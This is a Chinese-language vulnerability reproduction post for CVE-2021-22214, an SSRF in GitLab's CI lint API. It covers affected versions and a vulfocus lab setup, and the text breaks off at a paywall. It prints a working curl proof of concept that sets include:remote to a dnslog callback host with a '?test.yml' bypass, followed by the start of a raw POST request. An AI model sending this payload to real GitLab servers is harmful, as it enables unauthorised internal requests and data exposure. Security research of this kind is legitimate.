(CVE-2021-22214)Gitlab SSRF漏洞漏洞复现

最新推荐文章于 2025-04-27 19:22:40 发布

原创

最新推荐文章于 2025-04-27 19:22:40 发布 · 3.3k 阅读

3 ·

CC 4.0 BY-SA版权

本文介绍了GitLab，它是基于Git的开源仓库管理Web服务。阐述了GitLab CI lint API存在的漏洞，远程攻击者可构造HTTP请求欺骗应用程序，获取敏感数据或发送恶意请求。给出了受影响版本，还说明了用vulfocus搭建测试环境及漏洞复现的情况。

简介
GitLab 是一个用于仓库管理系统的开源项目，使用Git作为代码管理工具，并在此基础上搭建起来的Web服务。

漏洞描述
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git（版本控制系统）项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式。而根据其说明文档文档，其include 操作支持remote选项，用于获取远端的yaml。因此在此处将remote参数设置为本地回环地址，同时由于后端会检查最后扩展名，加上?test.yaml 即可绕过。远程攻击者可通过发送特殊构造的 HTTP 请求，欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

影响版本
13.10.5 > GitLab >= 10.5
13.11.5 > GitLab >= 13.11
13.12.2 > GitLab >= 13.12

测试环境
使用vulfocus进行镜像下载并启动

漏洞复现
POC为:
命令型

curl -k -s --show-error -H 'Content-Type: application/json' http://192.168.8.230:24365/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://7gmmkz.dnslog.cn/api/v1/targets/?test.yml"}'

数据包类型

POST /api/v4/ci/lint HTTP/1.1
Host: 192.168.8.230:36586
User-Agent: python-requests/2.25.0
Accept-Encoding: gzip, deflate
Accept:

最低0.47元/天解锁文章

(CVE-2021-22214)Gitlab SSRF漏洞 漏洞复现

(CVE-2021-22214)Gitlab SSRF漏洞漏洞复现